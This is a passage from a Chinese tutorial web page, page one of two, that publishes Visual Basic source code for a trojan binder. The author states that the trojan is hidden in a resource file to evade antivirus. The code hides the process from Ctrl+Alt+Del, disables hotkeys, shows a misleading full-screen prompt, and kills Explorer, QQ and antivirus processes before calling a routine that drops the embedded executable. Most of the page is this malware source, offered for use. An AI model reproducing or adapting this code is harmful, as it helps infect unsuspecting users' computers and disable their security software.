转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件开发 >> VB.NET程序 >> 正文
使用 VB 开发的木马捆绑程序源代码。         ★★★★

使用 VB 开发的木马捆绑程序源代码。

作者:闵涛 文章来源:闵涛的学习笔记 点击数:2187 更新时间:2009/4/23 15:04:11
这是很久以前回答人家一道关于使用 VB 捆绑木马的问题,有些 API 只可用于 Win9x,回复如下:

其实不需要记录文件的大小,我为了方便,直接用捆绑工具把我的程序与木马合并在一起,结果被杀毒软件给查出来了,后来我就想到把木马放到资源文件中,待程序运行时先把杀毒软件的进程给KILL掉,然后再把它释放出来,效果很好,并且杀毒软件也查不到,以下是我的程序源代码。里面还有很多与它不相关的代码,我是用来杀进程的,GetDesktopWindows 可以用 EnumWindows 完全代替,代码也可以减少很多。

Option Explicit

Dim wndNum As Long          ''''保存所有窗体数量
Dim lpWnd(128) As String    ''''存放所有窗体标题数组

''''设置进程优先级
Private Declare Function SetPriorityClass Lib _
    "kernel32" ( _
    ByVal hProcess As Long, _
    ByVal dwPriorityClass As Long _
    ) As Long

''''获取当前进程
Private Declare Function GetCurrentProcess Lib _
    "kernel32" () As Long

''''最低优先级,表明在计算机空闲时运行
Private Const IDLE_PRIORITY_CLASS = &H40

''''将进程注册为服务,Windows 2000 系统不可用
Private Declare Function RegisterServiceProcess Lib _
    "kernel32" ( _
    ByVal hProcess As Long, _
    ByVal uFlags As Long _
    ) As Long

''''获取当前进程 ID
Private Declare Function GetCurrentProcessId Lib _
    "kernel32" () As Long

''''在此程序中用来屏蔽热键
Private Declare Function SystemParametersInfo Lib _
    "User32" Alias "SystemParametersInfoA" ( _
    ByVal uAction As Long, _
    ByVal uParam As Long, _
    ByRef lpvParam As Any, _
    ByVal fuWinIni As Long _
    ) As Long

''''屏蔽热键,对于 Windows 2000 系统无效
Private Const SPI_SCREENSAVERRUNNING = 97

''''将窗体设为顶层
Private Declare Function SetWindowPos Lib _
    "User32" ( _
    ByVal hwnd As Long, _
    ByVal hWndInsertAfter As Long, _
    ByVal x As Long, _
    ByVal y As Long, _
    ByVal cx As Long, _
    ByVal cy As Long, _
    ByVal wFlags As Long _
    ) As Long

''''将窗体设为最前
Private Const HWND_TOPMOST = -1

''''获取桌面句柄
Private Declare Function GetDesktopWindow Lib _
    "User32" () As Long

''''获取窗体句柄
Private Declare Function GetWindow Lib _
    "User32" ( _
    ByVal hwnd As Long, _
    ByVal wCmd As Long _
    ) As Long

''''获取子窗体句柄
Private Const GW_CHILD = 5

''''获取下一个窗体句柄
Private Const GW_HWNDNEXT = 2

''''获取窗体标题
Private Declare Function GetWindowText Lib _
    "User32" Alias "GetWindowTextA" ( _
    ByVal hwnd As Long, _
    ByVal lpString As String, _
    ByVal cch As Long _
    ) As Long
    
''''发送消息,用来关闭指定程序,比如杀毒,网管
Private Declare Function PostMessage Lib _
    "User32" Alias "PostMessageA" ( _
    ByVal hwnd As Long, _
    ByVal wMsg As Long, _
    ByVal wParam As Long, _
    ByVal lParam As Long _
    ) As Long
    
''''关闭程序
Private Const WM_CLOSE = &H10

''''退出程序
Private Const WM_QUIT = &H12

''''查找窗体
Private Declare Function FindWindow Lib _
    "User32" Alias "FindWindowA" ( _
    ByVal lpClassName As String, _
    ByVal lpWindowName As String _
    ) As Long
    
''''获取类名
Private Declare Function GetClassName Lib _
    "User32" Alias "GetClassNameA" ( _
    ByVal hwnd As Long, _
    ByVal lpClassName As String, _
    ByVal nMaxCount As Long _
    ) As Long

''''延时以确保程序已关闭
Private Declare Sub Sleep Lib _
    "kernel32" ( _
    ByVal dwMilliseconds As Long _
    )
    
''''获得 Windows 系统目录
Private Declare Function GetSystemDirectory Lib _
    "kernel32" Alias "GetSystemDirectoryA" ( _
    ByVal lpBuffer As String, _
    ByVal nSize As Long _
    ) As Long

''''销毁窗体,释放内存
Private Declare Function DestroyWindow Lib _
    "User32" ( _
    ByVal hwnd As Long _
    ) As Long
    
''''销毁句柄,释放内存
Private Declare Function CloseHandle Lib _
    "kernel32" ( _
    ByVal hObject As Long _
    ) As Long

''''枚举窗体
Private Declare Function EnumWindows Lib _
    "User32" ( _
    ByVal lpEnumFunc As Long, _
    ByVal lParam As Long _
    ) As Long

Private Sub Form_Load()

    ''''只运行应用程序的一个实例
    If App.PrevInstance = True Then End

    ''''将窗体设为顶层
    SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, 0

    ''''给使用者一个提示
    MsgBox "该程序运行于全屏模式,请关闭所有程序以" & _
        "获得最佳效果!", vbInformation Or vbSystemModal

    ''''取消热键
    SystemParametersInfo SPI_SCREENSAVERRUNNING, _
        True, 0, 0

    ''''将图片居中
    img.Move (Screen.Width - img.Width) / 2, _
        (Screen.Height - img.Height) / 2
    fra(0).Move img.Left - fra(0).Width - 600
    fra(1).Move img.Left + img.Width + 600

    ''''获取进程,并将它的优先级别设为空闲
    SetPriorityClass GetCurrentProcess, _
        IDLE_PRIORITY_CLASS

    ''''获取进程ID,并将它注册为服务类型,因此在按下 _
        Ctrl+Alt+Del 后该进程将变为不可见,该方法 _
        还可以直接用 app.TaskVisible=False 实现, _
        但效果不佳,注意,该 API 不支持 Win2000 系统
    RegisterServiceProcess GetCurrentProcessId, 1

    ''''刷新一下进程
    RefreshProcess

    ''''杀掉浏览器
    Do While KillProcess("Explorer") <> 0
    Loop

    ''''杀掉文件夹或 Internet Explorer 浏览器
    Do While KillProcess("WClass", True) <> 0
    Loop
    Do While KillProcess("SystemTr", True) <> 0
    Loop

    ''''杀掉 Oicq
    Do While KillProcess("icq") <> 0
    Loop

    ''''杀掉毒霸之类的杀毒软件
    Do While KillProcess("毒") <> 0
    Loop

    Do While KillProcess("霸") <> 0
    Loop

    ''''释放资源文件中的可执行文件
    WriteExe

End Sub

''''刷新所有进程
Private Sub RefreshProcess()

    Dim retWnd As Long             ''''窗体句柄
    Dim dskWnd As Long             ''''桌面句柄
    Dim lpTitle As String * 128    ''''窗体标题

    ''''清除数组中保留的窗体名称
    For wndNum = LBound(lpWnd) To UBound(lpWnd)
        lpWnd(wndNum) = ""
    Next wndNum

    ''''初始化窗体数目
    wndNum = 0

    ''''获取桌面句柄
    dskWnd = GetDesktopWindow()
    
    ''''获取桌面子窗体
    retWnd = GetWindow(dskWnd, GW_CHILD)

    ''''列举所有窗体
    Do While retWnd <> 0
    
        ''''获得窗体标题
        GetWindowText retWnd, lpTitle, Len(lpTitle)
        
        ''''将标题保存到数组
        If Left(lpTitle, 1) <> vbNullChar Then
            lpWnd(wndNum) = Left(lpTitle, InStr(1, _
                lpTitle, vbNullChar) - 1)
                
            wndNum = wndNum + 1
        End If
        
        ''''获取下一个窗体
        retWnd = GetWindow(retWnd, GW_HWNDNEXT)
        
    Loop

End Sub

[1] [2]  下一页


[VB.NET程序]GSM短信模块库函数,可以用VB,VC,调用简单实用  [C语言系列]使用C#实现ADSL自动拨号
[Web开发]狂人采集器规则使用详解  [电脑技术]windows7快捷键使用大全
[办公软件]PowerPoint模板使用经验之谈  [办公软件]如何在PowerPoint中使用(插入)Media Player控件播…
[办公软件]如何在PowerPoint中使用(插入、创建)书签及书签的…  [办公软件]如何在PowerPoint中插入(使用)条形码
[办公软件]PowerPoint做交互课件之弃用VBA  [办公软件]如何在PowerPoint中制作模板并使用模板
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · C语言系列  · VB.NET程序
    · JAVA开发  · Delphi程序
    · 脚本语言
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台